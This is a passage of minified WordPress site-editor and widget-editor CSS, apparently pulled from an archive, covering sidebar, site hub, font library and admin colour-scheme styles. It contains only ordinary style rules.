.edit-site-layout.has-fixed-toolbar .edit-site-layout__header:focus-within{ z-index:3; } } .is-edit-mode.is-distraction-free .edit-site-layout__header-container{ height:60px; left:0; position:absolute; right:0; top:0; width:100%; z-index:4; } .is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within{ opacity:1 !important; } .is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within div{ transform:translateX(0) translateY(0) translateZ(0) !important; } .is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within .edit-site-layout__header{ opacity:1 !important; } .is-edit-mode.is-distraction-free .edit-site-layout__header,.is-edit-mode.is-distraction-free .edit-site-site-hub{ position:absolute; top:0; z-index:2; } .is-edit-mode.is-distraction-free .edit-site-site-hub{ z-index:3; } .is-edit-mode.is-distraction-free .edit-site-layout__header{ width:100%; } .edit-site-save-hub{ border-top:1px solid #2f2f2f; color:#949494; flex-shrink:0; margin:0; padding:20px 24px; } .edit-site-save-hub__button{ color:inherit; justify-content:center; width:100%; } .edit-site-save-hub__button[aria-disabled=true]{ opacity:1; } .edit-site-save-hub__button[aria-disabled=true]:hover{ color:inherit; } @media (min-width:600px){ .edit-site-save-panel__modal{ width:600px; } } .edit-site-sidebar__content{ flex-grow:1; overflow-y:auto; } .edit-site-sidebar__content .components-navigator-screen{ display:flex; flex-direction:column; height:100%; scrollbar-color:transparent transparent; scrollbar-gutter:stable both-edges; scrollbar-gutter:stable; scrollbar-width:thin; will-change:transform; } .edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar{ height:12px; width:12px; } .edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar-track{ background-color:transparent; } .edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:transparent; border:3px solid transparent; border-radius:8px; } .edit-site-sidebar__content .components-navigator-screen:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__content .components-navigator-screen:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__content .components-navigator-screen:hover::-webkit-scrollbar-thumb{ background-color:#757575; } .edit-site-sidebar__content .components-navigator-screen:focus,.edit-site-sidebar__content .components-navigator-screen:focus-within,.edit-site-sidebar__content .components-navigator-screen:hover{ scrollbar-color:#757575 transparent; } @media (hover:none){ .edit-site-sidebar__content .components-navigator-screen{ scrollbar-color:#757575 transparent; } } .edit-site-sidebar__footer{ border-top:1px solid #2f2f2f; flex-shrink:0; margin:0 24px; padding:24px 0; } .edit-site-sidebar__content>div{ padding:0 12px; } .edit-site-sidebar-button{ color:#e0e0e0; flex-shrink:0; } .edit-site-sidebar-button:focus:not(:disabled){ box-shadow:none; outline:none; } .edit-site-sidebar-button:focus-visible:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba)); outline:3px solid transparent; } .edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover,.edit-site-sidebar-button:not([aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{ color:#f0f0f0; } .edit-site-sidebar-navigation-item.components-item{ border:none; border-radius:2px; color:#949494; min-height:40px; padding:8px 6px 8px 16px; } .edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current]{ background:#2f2f2f; color:#e0e0e0; } .edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current] .edit-site-sidebar-navigation-item__drilldown-indicator{ fill:#e0e0e0; } .edit-site-sidebar-navigation-item.components-item[aria-current]{ background:var(--wp-admin-theme-color); color:#fff; } .edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{ fill:#949494; } .edit-site-sidebar-navigation-item.components-item.with-suffix{ padding-right:16px; } .edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{ cursor:grab; padding:8px; } .edit-site-sidebar-navigation-screen{ display:flex; flex-direction:column; overflow-x:unset !important; position:relative; } .edit-site-sidebar-navigation-screen__main{ flex-grow:1; margin-bottom:16px; } .edit-site-sidebar-navigation-screen__main.has-footer{ margin-bottom:0; } .edit-site-sidebar-navigation-screen__content{ padding:0 16px; } .edit-site-sidebar-navigation-screen__content .components-item-group{ margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-navigation-screen__content .components-text{ color:#ccc; } .edit-site-sidebar-navigation-screen__content .components-heading{ margin-bottom:8px; } .edit-site-sidebar-navigation-screen__meta{ color:#ccc; margin:0 0 16px 16px; } .edit-site-sidebar-navigation-screen__meta .components-text{ color:#ccc; } .edit-site-sidebar-navigation-screen__page-link{ color:#949494; display:inline-block; } .edit-site-sidebar-navigation-screen__page-link:focus,.edit-site-sidebar-navigation-screen__page-link:hover{ color:#fff; } .edit-site-sidebar-navigation-screen__page-link .components-external-link__icon{ margin-left:4px; } .edit-site-sidebar-navigation-screen__title-icon{ background:#1e1e1e; margin-bottom:8px; padding-bottom:8px; padding-top:108px; position:sticky; top:0; z-index:1; } .edit-site-sidebar-navigation-screen__title{ flex-grow:1; overflow-wrap:break-word; padding:6px 0 0; } .edit-site-sidebar-navigation-screen__actions{ flex-shrink:0; } @media (min-width:782px){ .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container{ max-width:292px; } } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px #1e1e1e; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px #f0f0f0; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px var(--wp-admin-theme-color); } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-sidebar-navigation-screen__footer{ background-color:#1e1e1e; border-top:1px solid #2f2f2f; bottom:0; gap:0; margin:16px 0 0; padding:16px 0; position:sticky; } .edit-site-sidebar__notice{ background:#2f2f2f; color:#ddd; margin:24px 0; } .edit-site-sidebar__notice.is-dismissible{ padding-right:8px; } .edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]){ color:#ccc; } .edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{ color:#fff; } .edit-site-sidebar-navigation-screen__input-control{ width:100%; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__container{ background:#2f2f2f; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{ color:#e0e0e0 !important; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__input{ background:#2f2f2f !important; border-radius:2px; color:#e0e0e0 !important; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{ border:4px !important; } .edit-site-sidebar-navigation-screen__input-control .components-base-control__help{ color:#949494; } .edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{ background:none; } .edit-site-sidebar-navigation-screen-details-footer .edit-site-sidebar-navigation-screen-details-footer__icon{ fill:#949494; margin-left:auto; } .sidebar-navigation__more-menu .components-button{ color:#e0e0e0; } .sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{ color:#f0f0f0; } .edit-site-sidebar-navigation-screen-page__featured-image-wrapper{ background-color:#2f2f2f; border-radius:4px; margin-bottom:16px; min-height:128px; } .edit-site-sidebar-navigation-screen-page__featured-image{ align-items:center; background-position:50% 50%; background-size:cover; border-radius:2px; color:#949494; display:flex; height:128px; justify-content:center; overflow:hidden; width:100%; } .edit-site-sidebar-navigation-screen-page__featured-image img{ height:100%; object-fit:cover; object-position:50% 50%; width:100%; } .edit-site-sidebar-navigation-screen-page__featured-image-description{ font-size:12px; } .edit-site-sidebar-navigation-screen-page__excerpt{ font-size:12px; margin-bottom:24px; } .edit-site-sidebar-navigation-screen-page__modified{ color:#949494; margin:0 0 16px 16px; } .edit-site-sidebar-navigation-screen-page__modified .components-text{ color:#949494; } .edit-site-sidebar-navigation-screen-page__status{ display:inline-flex; } .edit-site-sidebar-navigation-screen-page__status time{ display:contents; } .edit-site-sidebar-navigation-screen-page__status svg{ fill:#f0b849; height:16px; margin-right:8px; width:16px; } .edit-site-sidebar-navigation-screen-page__status.has-future-status svg,.edit-site-sidebar-navigation-screen-page__status.has-publish-status svg{ fill:#4ab866; } .edit-site-sidebar-navigation-details-screen-panel{ margin:24px 0; } .edit-site-sidebar-navigation-details-screen-panel:last-of-type{ margin-bottom:0; } .edit-site-sidebar-navigation-details-screen-panel .edit-site-sidebar-navigation-details-screen-panel__heading{ color:#ccc; font-size:11px; font-weight:500; margin-bottom:0; padding:0; text-transform:uppercase; } .edit-site-sidebar-navigation-details-screen-panel__label.edit-site-sidebar-navigation-details-screen-panel__label{ color:#949494; flex-shrink:0; width:100px; } .edit-site-sidebar-navigation-details-screen-panel__value.edit-site-sidebar-navigation-details-screen-panel__value{ color:#e0e0e0; } .edit-site-sidebar-navigation-screen-pattern__added-by-description{ align-items:center; display:flex; justify-content:space-between; margin-top:24px; } .edit-site-sidebar-navigation-screen-pattern__added-by-description-author{ align-items:center; display:inline-flex; } .edit-site-sidebar-navigation-screen-pattern__added-by-description-author img{ border-radius:12px; } .edit-site-sidebar-navigation-screen-pattern__added-by-description-author svg{ fill:#949494; } .edit-site-sidebar-navigation-screen-pattern__added-by-description-author-icon{ height:24px; margin-right:8px; width:24px; } .edit-site-sidebar-navigation-screen-patterns__group{ margin-bottom:24px; } .edit-site-sidebar-navigation-screen-patterns__group:last-of-type{ border-bottom:0; margin-bottom:0; padding-bottom:0; } .edit-site-sidebar-navigation-screen-patterns__group-header{ margin-top:16px; } .edit-site-sidebar-navigation-screen-patterns__group-header p{ color:#949494; } .edit-site-sidebar-navigation-screen-patterns__group-header h2{ font-size:11px; font-weight:500; text-transform:uppercase; } .edit-site-sidebar-navigation-screen-template__added-by-description{ align-items:center; display:flex; justify-content:space-between; margin-top:24px; } .edit-site-sidebar-navigation-screen-template__added-by-description-author{ align-items:center; display:inline-flex; } .edit-site-sidebar-navigation-screen-template__added-by-description-author img{ border-radius:12px; } .edit-site-sidebar-navigation-screen-template__added-by-description-author svg{ fill:#949494; } .edit-site-sidebar-navigation-screen-template__added-by-description-author-icon{ height:24px; margin-right:8px; width:24px; } .edit-site-sidebar-navigation-screen-template__template-area-button{ align-items:center; border-radius:4px; color:#fff; display:flex; flex-wrap:nowrap; width:100%; } .edit-site-sidebar-navigation-screen-template__template-area-button:focus,.edit-site-sidebar-navigation-screen-template__template-area-button:hover{ background:#2f2f2f; color:#fff; } .edit-site-sidebar-navigation-screen-template__template-area-label-text{ flex-grow:1; margin:0 16px 0 4px; } .edit-site-sidebar-navigation-screen-template__template-icon{ display:flex; } .edit-site-site-hub{ align-items:center; display:flex; gap:8px; justify-content:space-between; } .edit-site-site-hub .edit-site-site-hub__container{ gap:0; } .edit-site-site-hub .edit-site-site-hub__site-title,.edit-site-site-hub .edit-site-site-hub_toggle-command-center{ transition:opacity .1s ease; } .edit-site-site-hub .edit-site-site-hub__site-title.is-transparent,.edit-site-site-hub .edit-site-site-hub_toggle-command-center.is-transparent{ opacity:0 !important; } .edit-site-site-hub .edit-site-site-hub__site-view-link{ flex-grow:0; margin-right:var(--wp-admin-border-width-focus); } @media (min-width:480px){ .edit-site-site-hub .edit-site-site-hub__site-view-link{ opacity:0; transition:opacity .2s ease-in-out; } } .edit-site-site-hub .edit-site-site-hub__site-view-link:focus{ opacity:1; } .edit-site-site-hub .edit-site-site-hub__site-view-link svg{ fill:#e0e0e0; } .edit-site-site-hub:hover .edit-site-site-hub__site-view-link{ opacity:1; } .edit-site-site-hub__post-type{ opacity:.6; } .edit-site-site-hub__view-mode-toggle-container{ background:#1e1e1e; flex-shrink:0; height:60px; width:60px; } .edit-site-site-hub__view-mode-toggle-container.has-transparent-background{ background:transparent; } .edit-site-site-hub__text-content{ overflow:hidden; } .edit-site-site-hub__title{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .edit-site-site-hub__site-title{ color:#e0e0e0; flex-grow:1; margin-left:4px; } .edit-site-site-hub_toggle-command-center{ color:#e0e0e0; } .edit-site-site-hub_toggle-command-center:hover{ color:#f0f0f0; } .edit-site-sidebar-navigation-screen__description{ margin:0 0 32px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf{ border-radius:2px; max-width:calc(100% - 4px); } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf[aria-current]{ background:#2f2f2f; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block__menu{ margin-left:-8px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected>td{ background:transparent; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents{ color:inherit; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:not(:hover) .block-editor-list-view-block__menu{ opacity:0; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover{ color:#fff; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus .block-editor-list-view-block__menu-cell,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover .block-editor-list-view-block__menu-cell{ opacity:1; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){ background:transparent; } .edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch):hover{ background:#2f2f2f; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{ width:100%; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{ white-space:normal; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{ margin-top:3px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{ padding-right:0; } .edit-site-sidebar-navigation-screen-navigation-menus__content .components-button{ color:#949494; } .edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button[aria-current]{ color:#fff; } .edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{ display:block; margin-left:auto; margin-right:auto; } .edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{ display:none; } .edit-site-site-icon__icon{ fill:currentColor; } .edit-site-site-icon__image{ background:#333; border-radius:4px; height:auto; object-fit:cover; width:100%; } .edit-site-layout.is-full-canvas.is-edit-mode .edit-site-site-icon__image{ border-radius:0; } .edit-site-style-book{ height:100%; } .edit-site-style-book.is-button,.edit-site-style-book__iframe.is-button{ border-radius:8px; } .edit-site-style-book__iframe.is-focused{ outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color); outline-offset:calc(var(--wp-admin-border-width-focus)*-2); } .edit-site-style-book__tab-panel .components-tab-panel__tabs{ background:#fff; color:#1e1e1e; } .edit-site-style-book__tab-panel .components-tab-panel__tab-content{ bottom:0; left:0; overflow:auto; padding:0; position:absolute; right:0; top:48px; } .edit-site-editor-canvas-container{ background:#fff; border-radius:2px; bottom:0; left:0; overflow:hidden; position:absolute; right:0; top:0; transition:all .3s; } .edit-site-editor-canvas-container__close-button{ background:#fff; position:absolute; right:8px; top:6px; z-index:1; } .edit-site-resizable-frame__inner{ position:relative; } body:has(.edit-site-resizable-frame__inner.is-resizing){ cursor:col-resize; user-select:none; -webkit-user-select:none; } .edit-site-resizable-frame__inner.is-resizing:before{ content:""; inset:0; position:absolute; z-index:1; } .edit-site-resizable-frame__inner-content{ inset:0; position:absolute; z-index:0; } .edit-site-resizable-frame__handle{ align-items:center; background-color:hsla(0,0%,46%,.4); border:0; border-radius:4px; cursor:col-resize; display:flex; height:64px; justify-content:flex-end; padding:0; position:absolute; top:calc(50% - 32px); width:4px; z-index:100; } .edit-site-resizable-frame__handle:before{ content:""; height:100%; left:100%; position:absolute; width:32px; } .edit-site-resizable-frame__handle:after{ content:""; height:100%; position:absolute; right:100%; width:32px; } .edit-site-resizable-frame__handle:focus-visible{ outline:2px solid transparent; } .edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{ background-color:var(--wp-admin-theme-color); } .edit-site-push-changes-to-global-styles-control .components-button{ justify-content:center; width:100%; } @media (min-width:782px){ .font-library-modal.font-library-modal{ width:65vw; } } .font-library-modal .components-modal__header{ border-bottom:none; } .font-library-modal .components-modal__content{ padding-top:0; } .font-library-modal .font-library-modal__subtitle{ font-size:11px; font-weight:500; text-transform:uppercase; } .font-library-modal__tab-layout main{ padding-bottom:4rem; } .font-library-modal__tab-layout footer{ background-color:#fff; border-top:1px solid #e5e5e5; bottom:32px; margin:0 -32px -32px; padding:16px 32px; position:absolute; width:100%; } .font-library-modal__fonts-grid .font-library-modal__fonts-grid__main{ display:flex; flex-direction:column; } .font-library-modal__font-card{ border:1px solid #e5e5e5; height:auto; margin-top:-1px; padding:1rem; } .font-library-modal__font-card .font-library-modal__font-card__name{ font-weight:700; } .font-library-modal__font-card .font-library-modal__font-card__count{ color:#6e6e6e; } .font-library-modal__library-font-variant{ border:1px solid #e5e5e5; margin-top:-1px; padding:1rem; } .font-library-modal__font-variant{ border-bottom:1px solid #e5e5e5; padding-bottom:1rem; } .font-library-modal__tab-panel [role=tablist]{ background:#fff; border-bottom:1px solid #e6e6e6; margin:0 -32px; padding:0 16px; position:sticky; top:0; width:calc(100% + 64px); z-index:1; } .font-library-modal__upload-area{ align-items:center; background-color:#f0f0f0; display:flex; height:250px; justify-content:center; width:100%; } .font-library-modal__local-fonts{ margin:0 auto; width:80%; } .font-library-modal__local-fonts .font-library-modal__upload-area__text{ color:#6e6e6e; } .font-library-modal__local-fonts .font-library-modal__upload-area__notice{ margin:0; } .font-library-modal__font-name{ font-weight:700; } .font-library-modal__font-filename{ color:#6e6e6e; } .font-library-modal__font-variant_demo-wrapper{ overflow:hidden; position:relative; white-space:nowrap; width:100%; } .font-library-modal__font-variant_demo-wrapper:after{ background:linear-gradient(90deg, hsla(0,0%,100%,0), #fff); bottom:0; content:""; height:100%; position:absolute; right:0; width:30vw; } .font-library__google-fonts-confirm{ align-items:center; display:flex; justify-content:center; } .font-library__google-fonts-confirm h3{ font-size:1.4rem; } .font-library__google-fonts-confirm .components-card{ max-width:350px; min-width:250px; width:50%; } .font-library-modal__font-collection__notice{ margin:0; } body.js #wpadminbar{ display:none; } body.js #wpbody{ padding-top:0; } body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{ background:#fff; } body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{ padding-left:0; } body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{ padding-bottom:0; } body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{ display:none; } body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{ left:-1px; top:-1px; } body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{ border-right-color:#fff; } body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{ max-width:100%; width:auto; } body.js.site-editor-php{ background:#1e1e1e; } .components-modal__frame,.edit-site{ box-sizing:border-box; } .components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-site *,.edit-site :after,.edit-site :before{ box-sizing:inherit; } .edit-site{ height:100vh; } @media (min-width:600px){ .edit-site{ bottom:0; left:0; min-height:100vh; position:fixed; right:0; top:0; } } .no-js .edit-site{ min-height:0; position:static; } .edit-site .interface-interface-skeleton{ top:0; } .edit-site .interface-complementary-area__pin-unpin-item.components-button{ display:none; } .edit-site .interface-interface-skeleton__content{ background-color:#1e1e1e; } @keyframes edit-post__fade-in-animation{ 0%{ opacity:0; } to{ opacity:1; } } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 115, 161; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 97, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33, 69, 230; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:24, 58, 214; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7, 82, 108; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:6, 64, 84; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56, 51, 48; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:43, 39, 36; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:70, 54, 93; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:58, 44, 77; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221, 56, 45; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:208, 44, 33; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87, 110, 116; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76, 96, 102; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; --wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:217, 116, 38; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195, 105, 34; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } }css/dist/edit-widgets/style-rtl.min.css000064400000066507151202620300014130 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-left:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-left:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-right:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-right:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:10px;right:auto;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-right:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;left:0;max-height:100%;position:fixed;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{right:0}@media (min-width:783px){.interface-interface-skeleton{right:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{right:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{right:160px}}.folded .interface-interface-skeleton{right:0}@media (min-width:783px){.folded .interface-interface-skeleton{right:36px}}body.is-fullscreen-mode .interface-interface-skeleton{right:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media 